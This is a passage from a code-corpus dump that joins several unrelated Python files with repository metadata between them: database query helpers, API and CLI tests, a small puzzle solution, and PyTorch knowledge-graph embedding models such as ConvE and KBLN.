experiment''' try: names = self.session.query(data_stage01_quantification_peakResolution.component_name_pair).filter( data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I), data_stage01_quantification_peakResolution.used_.is_(True)).group_by( data_stage01_quantification_peakResolution.component_name_pair).order_by( data_stage01_quantification_peakResolution.component_name_pair.asc()).all(); names_O = []; for n in names: names_O.append(n.component_name_pair); return names_O; except SQLAlchemyError as e: print(e); def get_componentNamePairs_experimentIDAndPeakInfoParameter_dataStage01PeakResolution(self,experiment_id_I,peakInfo_parameter_I): '''Query component_names that are used for the experiment''' try: names = self.session.query(data_stage01_quantification_peakResolution.component_name_pair).filter( data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I), data_stage01_quantification_peakResolution.peakInfo_parameter.like(peakInfo_parameter_I), data_stage01_quantification_peakResolution.used_.is_(True)).group_by( data_stage01_quantification_peakResolution.component_name_pair).order_by( data_stage01_quantification_peakResolution.component_name_pair.asc()).all(); names_O = []; for n in names: names_O.append(n.component_name_pair); return names_O; except SQLAlchemyError as e: print(e); #def reset_dataStage01_quantification_peakInformation(self,experiment_id_I = None): # try: # if experiment_id_I: # reset = self.session.query(data_stage01_quantification_peakInformation).filter(data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); # self.session.commit(); # except SQLAlchemyError as e: # print(e); #def reset_dataStage01_quantification_peakResolution(self,experiment_id_I = None): # try: # if experiment_id_I: # reset = self.session.query(data_stage01_quantification_peakResolution).filter(data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I)).delete(synchronize_session=False); # self.session.commit(); # except SQLAlchemyError as e: # print(e); def reset_dataStage01_quantification_peakInformation(self, tables_I = ['data_stage01_quantification_peakInformation', 'data_stage01_quantification_peakResolution'], experiment_id_I = None, analysis_id_I = None, warn_I=True): try: querydelete = sbaas_base_query_delete(session_I=self.session,engine_I=self.engine,settings_I=self.settings,data_I=self.data); for table in tables_I: query = {}; query['delete_from'] = [{'table_name':table}]; query['where'] = [] if analysis_id_I: query['where'].append({ 'table_name':table, 'column_name':'analysis_id', 'value':analysis_id_I, 'operator':'LIKE', 'connector':'AND' }) if experiment_id_I: query['where'].append({ 'table_name':table, 'column_name':'experiment_id', 'value':experiment_id_I, 'operator':'LIKE', 'connector':'AND' }) table_model = self.convert_tableStringList2SqlalchemyModelDict([table]); query = querydelete.make_queryFromString(table_model,query); querydelete.reset_table_sqlalchemyModel(query_I=query,warn_I=warn_I); except Exception as e: print(e);

57.410811

211

0.652669

2,154

21,242

5.985608

0.063603

0.171023

0.199721

0.21407

0.866362

0.812379

0.746529

0.688436

0.654774

0.620181

0

0.016949

0.263958

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370

212

57.410811

0.807675

0.121552

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0.660256

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0.221528

0.132529

0

1

0.041667

false

0

0.025641

0

0.105769

0.051282

0

null

0

1

0

1

0

null

0

6

c1b41e940cc0828bc4ad39d63e2de50ecbfff59c

177

py

Python

diting/__init__.py

WenlongShen/Diting

d6776105679be37f81b24b2d7ba5b20def28253b

[ "MIT" ]

null

diting/__init__.py

WenlongShen/Diting

d6776105679be37f81b24b2d7ba5b20def28253b

[ "MIT" ]

null

diting/__init__.py

WenlongShen/Diting

d6776105679be37f81b24b2d7ba5b20def28253b

[ "MIT" ]

null

#!/usr/bin/env python # coding: utf-8 from diting.utils import * from diting.parse import * from diting.encoding import * from diting.models import * from diting.plot import *

19.666667

29

0.751412

27

177

4.925926

0.555556

0.37594

0.481203

0

0.006623

0.146893

177

8

30

22.125

0.874172

0.19209

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

c1df5c68918364d1ee130d155125e6b4ca0febbb

3,806

py

Python

tests/test_api.py

DominikZabron/tracker

d26b444428682de3e9c918418b7186097d39db17

[ "MIT" ]

null

tests/test_api.py

DominikZabron/tracker

d26b444428682de3e9c918418b7186097d39db17

[ "MIT" ]

null

tests/test_api.py

DominikZabron/tracker

d26b444428682de3e9c918418b7186097d39db17

[ "MIT" ]

null

import falcon import pytest import uuid from mock import patch, MagicMock from tracker.urls import app as application application.req_options.auto_parse_form_urlencoded = True mock = MagicMock() mock.exists.return_value = 1 mock.setex = MagicMock() mock.proc_req_delay = MagicMock() @pytest.fixture def app(): return application @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.utils.cache.setex', mock.setex) def test_post_item_success(client): mock.setex.call_count = 0 payload = {'external_id': 'abc'} headers = {'Content-Type': 'application/json'} resp = client.post('/item', payload, headers=headers) assert resp.status == falcon.HTTP_201 assert mock.setex.call_count == 1 @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.utils.cache.setex', mock.setex) def test_post_item_returns_correct_response(client): mock.setex.call_count = 0 payload = {'external_id': 'abc'} headers = {'Content-Type': 'application/json'} resp = client.post('/item', payload, headers=headers) assert 'cart_id' in resp.json assert mock.setex.call_count == 1 @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.hooks.cache.exists', mock.sismember) def test_post_item_accept_param(client): mock.sismember.call_count = 0 cart_id = str(uuid.uuid4()) payload = {'external_id': 'abc'} headers = {'Content-Type': 'application/json'} resp = client.post('/item/{0}'.format(cart_id), payload, headers=headers) assert mock.sismember.call_count == 1 assert cart_id == resp.json['cart_id'] @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.hooks.cache.exists', mock.sismember) def test_post_item_handle_cookies(client): mock.sismember.call_count = 0 cart_id = str(uuid.uuid4()) cookie = 'cart_id={0}'.format(cart_id) payload = {'external_id': 'abc'} headers = {'Cookie': cookie, 'Content-Type': 'application/json'} resp = client.post('/item', payload, headers=headers) assert cart_id == resp.json['cart_id'] assert cookie == resp.headers['set-cookie'].split(';')[0] assert mock.sismember.call_count == 1 @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.hooks.cache.exists', mock.sismember) def test_post_item_validate_input_fail(client): mock.sismember.call_count = 0 uuid_1, uuid_2 = str(uuid.uuid4()), str(uuid.uuid4()) cookie = 'cart_id={0}'.format(uuid_1) payload = {'external_id': 'abc'} headers = {'Cookie': cookie, 'Content-Type': 'application/json'} resp = client.post('/item/{0}'.format(uuid_2), payload, headers=headers) assert resp.status == falcon.HTTP_400 assert resp.json['title'] == "Bad request" assert mock.sismember.call_count == 0 @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.hooks.cache.exists', mock.sismember) def test_post_item_validate_input_success(client): mock.sismember.call_count = 0 cart_id = str(uuid.uuid4()) cookie = 'cart_id={0}'.format(cart_id) payload = {'external_id': 'abc'} headers = {'Cookie': cookie, 'Content-Type': 'application/json'} resp = client.post('/item/{0}'.format(cart_id), payload, headers=headers) assert resp.status == falcon.HTTP_201 assert mock.sismember.call_count == 1 @patch('tracker.urls.db_save.delay', mock.proc_req_delay) @patch('tracker.utils.cache.setex', mock.setex) def test_post_item_cart_id_not_exist(client): mock.setex.call_count = 0 cart_id = str(uuid.uuid4()) payload = {'external_id': 'abc'} headers = {'Content-Type': 'application/json'} resp = client.post('/item/{0}'.format(cart_id), payload, headers=headers) assert resp.status == falcon.HTTP_404 assert mock.setex.call_count == 0

35.90566

77

0.709143

539

3,806

4.810761

0.152134

0.041651

0.034709

0.049364

0.824913

0.804088

0.778249

0.762823

0.732742

0

0.01369

0.136364

3,806

105

78

36.247619

0.775175

0

0.651163

0

0.211508

0.09485

0

0.186047

1

0.093023

false

0

0.05814

0.011628

0.162791

0

null

0

1

0

null

0

6

a9da23b02a106bf09f211285c1eadf1692b49b91

92

py

Python

Introductory Problems/Two Knights.py

charlie219/CSES-Solutions

e082380cbb3ad74eaa9a55f71a2f9df904477ef2

[ "MIT" ]

null

Introductory Problems/Two Knights.py

charlie219/CSES-Solutions

e082380cbb3ad74eaa9a55f71a2f9df904477ef2

[ "MIT" ]

null

Introductory Problems/Two Knights.py

charlie219/CSES-Solutions

e082380cbb3ad74eaa9a55f71a2f9df904477ef2

[ "MIT" ]

null

print(*[int(((x**2*(x**2-1))/2)-4*(x-1)*(x-2)) for x in range(1,int(input())+1)],sep='\n')

46

91

0.478261

23

92

1.913043

0.521739

0.136364

0

0.104651

0.065217

92

1

92

0.406977

0

0.021978

0

1

0

true

0

1

0

1

null

0

1

0

1

0

null

0

1

0

1

0

6

a9dbeed588769a487d0c3140087a6f2d11e9005c

4,562

py

Python

tests/cli/test_vehicle_hvac.py

slater0013/renault-api

13c784b6af09331368341c93888f1eb32c46cb19

[ "MIT" ]

44

2020-11-01T15:52:33.000Z

2022-03-31T04:40:03.000Z

tests/cli/test_vehicle_hvac.py

slater0013/renault-api

13c784b6af09331368341c93888f1eb32c46cb19

[ "MIT" ]

334

2020-11-01T13:00:01.000Z

2022-03-31T17:17:40.000Z

tests/cli/test_vehicle_hvac.py

slater0013/renault-api

13c784b6af09331368341c93888f1eb32c46cb19

[ "MIT" ]

22

2020-11-20T08:26:26.000Z

2022-03-11T18:58:31.000Z

"""Test cases for the __main__ module.""" from aioresponses import aioresponses from aioresponses.core import RequestCall from click.testing import CliRunner from tests import fixtures from yarl import URL from . import initialise_credential_store from renault_api.cli import __main__ def test_hvac_history_day( mocked_responses: aioresponses, cli_runner: CliRunner ) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) fixtures.inject_get_hvac_history( mocked_responses, start="20201101", end="20201130", period="day" ) result = cli_runner.invoke( __main__.main, "hvac history --from 2020-11-01 --to 2020-11-30 --period day" ) assert result.exit_code == 0, result.exception expected_output = "{}\n" assert expected_output == result.output def test_hvac_history_month( mocked_responses: aioresponses, cli_runner: CliRunner ) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) fixtures.inject_get_hvac_history( mocked_responses, start="202011", end="202011", period="month" ) result = cli_runner.invoke( __main__.main, "hvac history --from 2020-11-01 --to 2020-11-30" ) assert result.exit_code == 0, result.exception expected_output = "{}\n" assert expected_output == result.output def test_hvac_cancel(mocked_responses: aioresponses, cli_runner: CliRunner) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) url = fixtures.inject_set_hvac_start(mocked_responses, result="cancel") fixtures.inject_get_vehicle_details(mocked_responses, "zoe_40.1.json") result = cli_runner.invoke(__main__.main, "hvac cancel") assert result.exit_code == 0, result.exception expected_json = {"data": {"attributes": {"action": "cancel"}, "type": "HvacStart"}} expected_output = "{'action': 'cancel'}\n" request: RequestCall = mocked_responses.requests[("POST", URL(url))][0] assert expected_json == request.kwargs["json"] assert expected_output == result.output def test_sessions(mocked_responses: aioresponses, cli_runner: CliRunner) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) fixtures.inject_get_hvac_sessions( mocked_responses, start="20201101", end="20201130" ) result = cli_runner.invoke( __main__.main, "hvac sessions --from 2020-11-01 --to 2020-11-30" ) assert result.exit_code == 0, result.exception expected_output = "{}\n" assert expected_output == result.output def test_hvac_start_now(mocked_responses: aioresponses, cli_runner: CliRunner) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) url = fixtures.inject_set_hvac_start(mocked_responses, "start") result = cli_runner.invoke(__main__.main, "hvac start --temperature 25") assert result.exit_code == 0, result.exception expected_json = { "data": { "attributes": {"action": "start", "targetTemperature": 25}, "type": "HvacStart", } } expected_output = "{'action': 'start', 'targetTemperature': 21.0}\n" request: RequestCall = mocked_responses.requests[("POST", URL(url))][0] assert expected_json == request.kwargs["json"] assert expected_output == result.output def test_hvac_start_later( mocked_responses: aioresponses, cli_runner: CliRunner ) -> None: """It exits with a status code of zero.""" initialise_credential_store(include_account_id=True, include_vin=True) url = fixtures.inject_set_hvac_start(mocked_responses, "start") result = cli_runner.invoke( __main__.main, "hvac start --temperature 24 --at '2020-12-25T11:50:00+02:00'" ) assert result.exit_code == 0, result.exception expected_json = { "data": { "attributes": { "action": "start", "startDateTime": "2020-12-25T09:50:00Z", "targetTemperature": 24, }, "type": "HvacStart", } } expected_output = "{'action': 'start', 'targetTemperature': 21.0}\n" request: RequestCall = mocked_responses.requests[("POST", URL(url))][0] assert expected_json == request.kwargs["json"] assert expected_output == result.output

35.92126

87

0.690925

559

4,562

5.363148

0.182469

0.080053

0.058372

0.06004

0.825884

0.814877

0.79553

0.773516

0.768846

0

0.040464

0.187418

4,562

126

88

36.206349

0.768276

0.056335

0

0.526882

0

0.010753

0.156243

0.006325

0

0.16129

1

0.064516

false

0

0.075269

0

0.139785

0

null

0

1

0

null

0

6

e71e19623fff49ecfd7c465a6def6c1ea77542ac

161

py

Python

configs/configs.py

sunnyfloyd/panderyx

82f03625159833930ff044a43a6619ab710ff159

[ "MIT" ]

null

configs/configs.py

sunnyfloyd/panderyx

82f03625159833930ff044a43a6619ab710ff159

[ "MIT" ]

null

configs/configs.py

sunnyfloyd/panderyx

82f03625159833930ff044a43a6619ab710ff159

[ "MIT" ]

null

from typing import Union from pydantic import BaseModel, HttpUrl, FilePath class InputConfig(BaseModel): path: Union[HttpUrl, FilePath] extension: str

20.125

49

0.770186

19

161

6.526316

0.684211

0.241935

0

0.167702

161

7

50

23

0.925373

0

1

0

true

0

0.4

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

e759e274a339dc35108d4d129079e7b48b08af66

210

py

Python

ecommerce_api/core/discount/interfaces.py

victormartinez/ecommerceapi

a887d9e938050c15ebf52001f63d7aa7f33fa5ee

[ "MIT" ]

null

ecommerce_api/core/discount/interfaces.py

victormartinez/ecommerceapi

a887d9e938050c15ebf52001f63d7aa7f33fa5ee

[ "MIT" ]

null

ecommerce_api/core/discount/interfaces.py

victormartinez/ecommerceapi

a887d9e938050c15ebf52001f63d7aa7f33fa5ee

[ "MIT" ]

null

from abc import ABC, abstractmethod from typing import Optional class AbstractDiscountClient(ABC): @abstractmethod def get_discount_percentage(self, product_id: int) -> Optional[float]: pass

21

74

0.752381

24

210

6.458333

0.75

0.219355

0

0.180952

210

9

75

23.333333

0.901163

0

1

0.166667

false

0.166667

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

e76c2ab06da8493e2b8bf1c91fdd1e227dd5d57e

28,619

py

Python

model.py

Otamio/kge-conve

eb2ed166cca57c8bc0d15649caddf4254c2edb9a

[ "Apache-2.0" ]

34

2018-02-09T03:23:44.000Z

2022-03-30T11:05:42.000Z

model.py

Otamio/kge-conve

eb2ed166cca57c8bc0d15649caddf4254c2edb9a

[ "Apache-2.0" ]

8

2018-04-10T17:46:37.000Z

2022-01-21T21:23:23.000Z

model.py

Otamio/kge-conve

eb2ed166cca57c8bc0d15649caddf4254c2edb9a

[ "Apache-2.0" ]

13

2018-02-08T08:27:33.000Z

2021-09-29T09:08:46.000Z

import torch from torch.nn import functional as F, Parameter from torch.autograd import Variable from spodernet.utils.global_config import Config from spodernet.utils.cuda_utils import CUDATimer from torch.nn.init import xavier_normal_, xavier_uniform_ from spodernet.utils.cuda_utils import CUDATimer from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence import torch.nn as nn import pdb from itertools import chain timer = CUDATimer() class Complex(torch.nn.Module): def __init__(self, num_entities, num_relations): super(Complex, self).__init__() self.num_entities = num_entities self.emb_e_real = torch.nn.Embedding(num_entities, Config.embedding_dim, padding_idx=0) self.emb_e_img = torch.nn.Embedding(num_entities, Config.embedding_dim, padding_idx=0) self.emb_rel_real = torch.nn.Embedding(num_relations, Config.embedding_dim, padding_idx=0) self.emb_rel_img = torch.nn.Embedding(num_relations, Config.embedding_dim, padding_idx=0) self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e_real.weight.data) xavier_normal_(self.emb_e_img.weight.data) xavier_normal_(self.emb_rel_real.weight.data) xavier_normal_(self.emb_rel_img.weight.data) def forward(self, e1, rel): e1_embedded_real = self.inp_drop(self.emb_e_real(e1)).view(Config.batch_size, -1) rel_embedded_real = self.inp_drop(self.emb_rel_real(rel)).view(Config.batch_size, -1) e1_embedded_img = self.inp_drop(self.emb_e_img(e1)).view(Config.batch_size, -1) rel_embedded_img = self.inp_drop(self.emb_rel_img(rel)).view(Config.batch_size, -1) e1_embedded_real = self.inp_drop(e1_embedded_real) rel_embedded_real = self.inp_drop(rel_embedded_real) e1_embedded_img = self.inp_drop(e1_embedded_img) rel_embedded_img = self.inp_drop(rel_embedded_img) # complex space bilinear product (equivalent to HolE) realrealreal = torch.mm(e1_embedded_real*rel_embedded_real, self.emb_e_real.weight.transpose(1,0)) realimgimg = torch.mm(e1_embedded_real*rel_embedded_img, self.emb_e_img.weight.transpose(1,0)) imgrealimg = torch.mm(e1_embedded_img*rel_embedded_real, self.emb_e_img.weight.transpose(1,0)) imgimgreal = torch.mm(e1_embedded_img*rel_embedded_img, self.emb_e_real.weight.transpose(1,0)) pred = realrealreal + realimgimg + imgrealimg - imgimgreal pred = F.sigmoid(pred) return pred class DistMult(torch.nn.Module): def __init__(self, num_entities, num_relations): super(DistMult, self).__init__() self.emb_e = torch.nn.Embedding(num_entities, Config.embedding_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, Config.embedding_dim, padding_idx=0) self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_embedded= self.emb_e(e1) rel_embedded= self.emb_rel(rel) e1_embedded = e1_embedded.view(-1, Config.embedding_dim) rel_embedded = rel_embedded.view(-1, Config.embedding_dim) e1_embedded = self.inp_drop(e1_embedded) rel_embedded = self.inp_drop(rel_embedded) pred = torch.mm(e1_embedded*rel_embedded, self.emb_e.weight.transpose(1,0)) pred = F.sigmoid(pred) return pred class ConvE(torch.nn.Module): def __init__(self, num_entities, num_relations): super(ConvE, self).__init__() self.emb_e = torch.nn.Embedding(num_entities, Config.embedding_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, Config.embedding_dim, padding_idx=0) self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.hidden_drop = torch.nn.Dropout(Config.dropout) self.feature_map_drop = torch.nn.Dropout2d(Config.feature_map_dropout) self.loss = torch.nn.BCELoss() self.conv1 = torch.nn.Conv2d(1, 32, (3, 3), 1, 0, bias=Config.use_bias) self.bn0 = torch.nn.BatchNorm2d(1) self.bn1 = torch.nn.BatchNorm2d(32) self.bn2 = torch.nn.BatchNorm1d(Config.embedding_dim) self.register_parameter('b', Parameter(torch.zeros(num_entities))) self.fc = torch.nn.Linear(10368,Config.embedding_dim) print(num_entities, num_relations) def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_embedded= self.emb_e(e1).view(Config.batch_size, 1, 10, 20) rel_embedded = self.emb_rel(rel).view(Config.batch_size, 1, 10, 20) stacked_inputs = torch.cat([e1_embedded, rel_embedded], 2) stacked_inputs = self.bn0(stacked_inputs) x= self.inp_drop(stacked_inputs) x= self.conv1(x) x= self.bn1(x) x= F.relu(x) x = self.feature_map_drop(x) x = x.view(Config.batch_size, -1) #print(x.size()) x = self.fc(x) x = self.hidden_drop(x) x = self.bn2(x) x = F.relu(x) x = torch.mm(x, self.emb_e.weight.transpose(1,0)) x += self.b.expand_as(x) pred = F.sigmoid(x) return pred """ Literal Models -------------- """ class DistMultLiteral(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(DistMultLiteral, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit = torch.nn.Linear(self.emb_dim+self.n_num_lit, self.emb_dim) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1) rel_emb = self.emb_rel(rel) e1_emb = e1_emb.view(-1, self.emb_dim) rel_emb = rel_emb.view(-1, self.emb_dim) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb = self.emb_num_lit(torch.cat([e1_emb, e1_num_lit], 1)) e2_multi_emb = self.emb_num_lit(torch.cat([self.emb_e.weight, self.numerical_literals], 1)) # End literals e1_emb = self.inp_drop(e1_emb) rel_emb = self.inp_drop(rel_emb) pred = torch.mm(e1_emb*rel_emb, e2_multi_emb.t()) pred = F.sigmoid(pred) return pred class KBLN(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals, c, var): super(KBLN, self).__init__() self.num_entities = num_entities self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) # Fixed RBF parameters print(c) print(var) self.c = Variable(torch.FloatTensor(c)).cuda() self.var = Variable(torch.FloatTensor(var)).cuda() # Weights for numerical, one every relation self.nf_weights = nn.Embedding(num_relations, self.n_num_lit) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1).view(-1, self.emb_dim) rel_emb = self.emb_rel(rel).view(-1, self.emb_dim) e1_emb = self.inp_drop(e1_emb) rel_emb = self.inp_drop(rel_emb) score_l = torch.mm(e1_emb*rel_emb, self.emb_e.weight.t()) """ Begin numerical literals """ n_h = self.numerical_literals[e1.view(-1)] # (batch_size x n_lit) n_t = self.numerical_literals # (num_ents x n_lit) # Features (batch_size x num_ents x n_lit) n = n_h.unsqueeze(1).repeat(1, self.num_entities, 1) - n_t phi = self.rbf(n) # Weights (batch_size, 1, n_lits) w_nf = self.nf_weights(rel) # (batch_size, num_ents) score_n = torch.bmm(phi, w_nf.transpose(1, 2)).squeeze() """ End numerical literals """ score = F.sigmoid(score_l + score_n) return score def rbf(self, n): """ Apply RBF kernel parameterized by (fixed) c and var, pointwise. n: (batch_size, num_ents, n_lit) """ return torch.exp(-(n - self.c)**2 / self.var) class MTKGNN_DistMult(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(MTKGNN_DistMult, self).__init__() self.emb_dim = Config.embedding_dim self.num_entities = num_entities self.num_relations = num_relations self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_attr = torch.nn.Embedding(self.n_num_lit, self.emb_dim) self.attr_net_left = torch.nn.Sequential( torch.nn.Linear(2*self.emb_dim, 100), torch.nn.Tanh(), torch.nn.Linear(100, 1)) self.attr_net_right = torch.nn.Sequential( torch.nn.Linear(2*self.emb_dim, 100), torch.nn.Tanh(), torch.nn.Linear(100, 1)) self.rel_params = chain(self.emb_e.parameters(), self.emb_rel.parameters()) self.attr_params = chain(self.emb_e.parameters(), self.emb_attr.parameters(), self.attr_net_left.parameters(), self.attr_net_right.parameters()) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss_rel = torch.nn.BCELoss() self.loss_attr = torch.nn.MSELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_embedded= self.emb_e(e1) rel_embedded= self.emb_rel(rel) e1_embedded = e1_embedded.view(-1, Config.embedding_dim) rel_embedded = rel_embedded.view(-1, Config.embedding_dim) e1_embedded = self.inp_drop(e1_embedded) rel_embedded = self.inp_drop(rel_embedded) pred = torch.mm(e1_embedded*rel_embedded, self.emb_e.weight.transpose(1,0)) pred = F.sigmoid(pred) return pred def forward_attr(self, e, mode='left'): assert mode == 'left' or mode == 'right' e_emb = self.emb_e(e.view(-1)) # Sample one numerical literal for each entity e_attr = self.numerical_literals[e.view(-1)] m = len(e_attr) idxs = torch.randint(self.n_num_lit, size=(m,)).cuda() attr_emb = self.emb_attr(idxs) inputs = torch.cat([e_emb, attr_emb], dim=1) pred = self.attr_net_left(inputs) if mode == 'left' else self.attr_net_right(inputs) target = e_attr[range(m), idxs] return pred, target def forward_AST(self): m = Config.batch_size idxs_attr = torch.randint(self.n_num_lit, size=(m,)).cuda() idxs_ent = torch.randint(self.num_entities, size=(m,)).cuda() attr_emb = self.emb_attr(idxs_attr) ent_emb = self.emb_e(idxs_ent) inputs = torch.cat([ent_emb, attr_emb], dim=1) pred_left = self.attr_net_left(inputs) pred_right = self.attr_net_right(inputs) target = self.numerical_literals[idxs_ent][range(m), idxs_attr] return pred_left, pred_right, target class ComplexLiteral(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(ComplexLiteral, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e_real = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_e_img = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel_real = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) self.emb_rel_img = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit_real = torch.nn.Sequential( torch.nn.Linear(self.emb_dim+self.n_num_lit, self.emb_dim), torch.nn.Tanh() ) self.emb_num_lit_img = torch.nn.Sequential( torch.nn.Linear(self.emb_dim+self.n_num_lit, self.emb_dim), torch.nn.Tanh() ) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e_real.weight.data) xavier_normal_(self.emb_e_img.weight.data) xavier_normal_(self.emb_rel_real.weight.data) xavier_normal_(self.emb_rel_img.weight.data) def forward(self, e1, rel): e1_emb_real = self.emb_e_real(e1).view(Config.batch_size, -1) rel_emb_real = self.emb_rel_real(rel).view(Config.batch_size, -1) e1_emb_img = self.emb_e_img(e1).view(Config.batch_size, -1) rel_emb_img = self.emb_rel_img(rel).view(Config.batch_size, -1) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb_real = self.emb_num_lit_real(torch.cat([e1_emb_real, e1_num_lit], 1)) e1_emb_img = self.emb_num_lit_img(torch.cat([e1_emb_img, e1_num_lit], 1)) e2_multi_emb_real = self.emb_num_lit_real(torch.cat([self.emb_e_real.weight, self.numerical_literals], 1)) e2_multi_emb_img = self.emb_num_lit_img(torch.cat([self.emb_e_img.weight, self.numerical_literals], 1)) # End literals e1_emb_real = self.inp_drop(e1_emb_real) rel_emb_real = self.inp_drop(rel_emb_real) e1_emb_img = self.inp_drop(e1_emb_img) rel_emb_img = self.inp_drop(rel_emb_img) realrealreal = torch.mm(e1_emb_real*rel_emb_real, e2_multi_emb_real.t()) realimgimg = torch.mm(e1_emb_real*rel_emb_img, e2_multi_emb_img.t()) imgrealimg = torch.mm(e1_emb_img*rel_emb_real, e2_multi_emb_img.t()) imgimgreal = torch.mm(e1_emb_img*rel_emb_img, e2_multi_emb_real.t()) pred = realrealreal + realimgimg + imgrealimg - imgimgreal pred = F.sigmoid(pred) return pred class ConvELiteral(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(ConvELiteral, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit = torch.nn.Sequential( torch.nn.Linear(self.emb_dim+self.n_num_lit, self.emb_dim), torch.nn.Tanh() ) self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.hidden_drop = torch.nn.Dropout(Config.dropout) self.feature_map_drop = torch.nn.Dropout2d(Config.feature_map_dropout) self.loss = torch.nn.BCELoss() self.conv1 = torch.nn.Conv2d(1, 32, (3, 3), 1, 0, bias=Config.use_bias) self.bn0 = torch.nn.BatchNorm2d(1) self.bn1 = torch.nn.BatchNorm2d(32) self.bn2 = torch.nn.BatchNorm1d(self.emb_dim) self.register_parameter('b', Parameter(torch.zeros(num_entities))) self.fc = torch.nn.Linear(10368, self.emb_dim) print(num_entities, num_relations) def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1).view(Config.batch_size, -1) rel_emb = self.emb_rel(rel) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb = self.emb_num_lit(torch.cat([e1_emb, e1_num_lit], 1)) e2_multi_emb = self.emb_num_lit(torch.cat([self.emb_e.weight, self.numerical_literals], 1)) # End literals e1_emb = e1_emb.view(Config.batch_size, 1, 10, self.emb_dim//10) rel_emb = rel_emb.view(Config.batch_size, 1, 10, self.emb_dim//10) stacked_inputs = torch.cat([e1_emb, rel_emb], 2) stacked_inputs = self.bn0(stacked_inputs) x = self.inp_drop(stacked_inputs) x = self.conv1(x) x = self.bn1(x) x = F.relu(x) x = self.feature_map_drop(x) x = 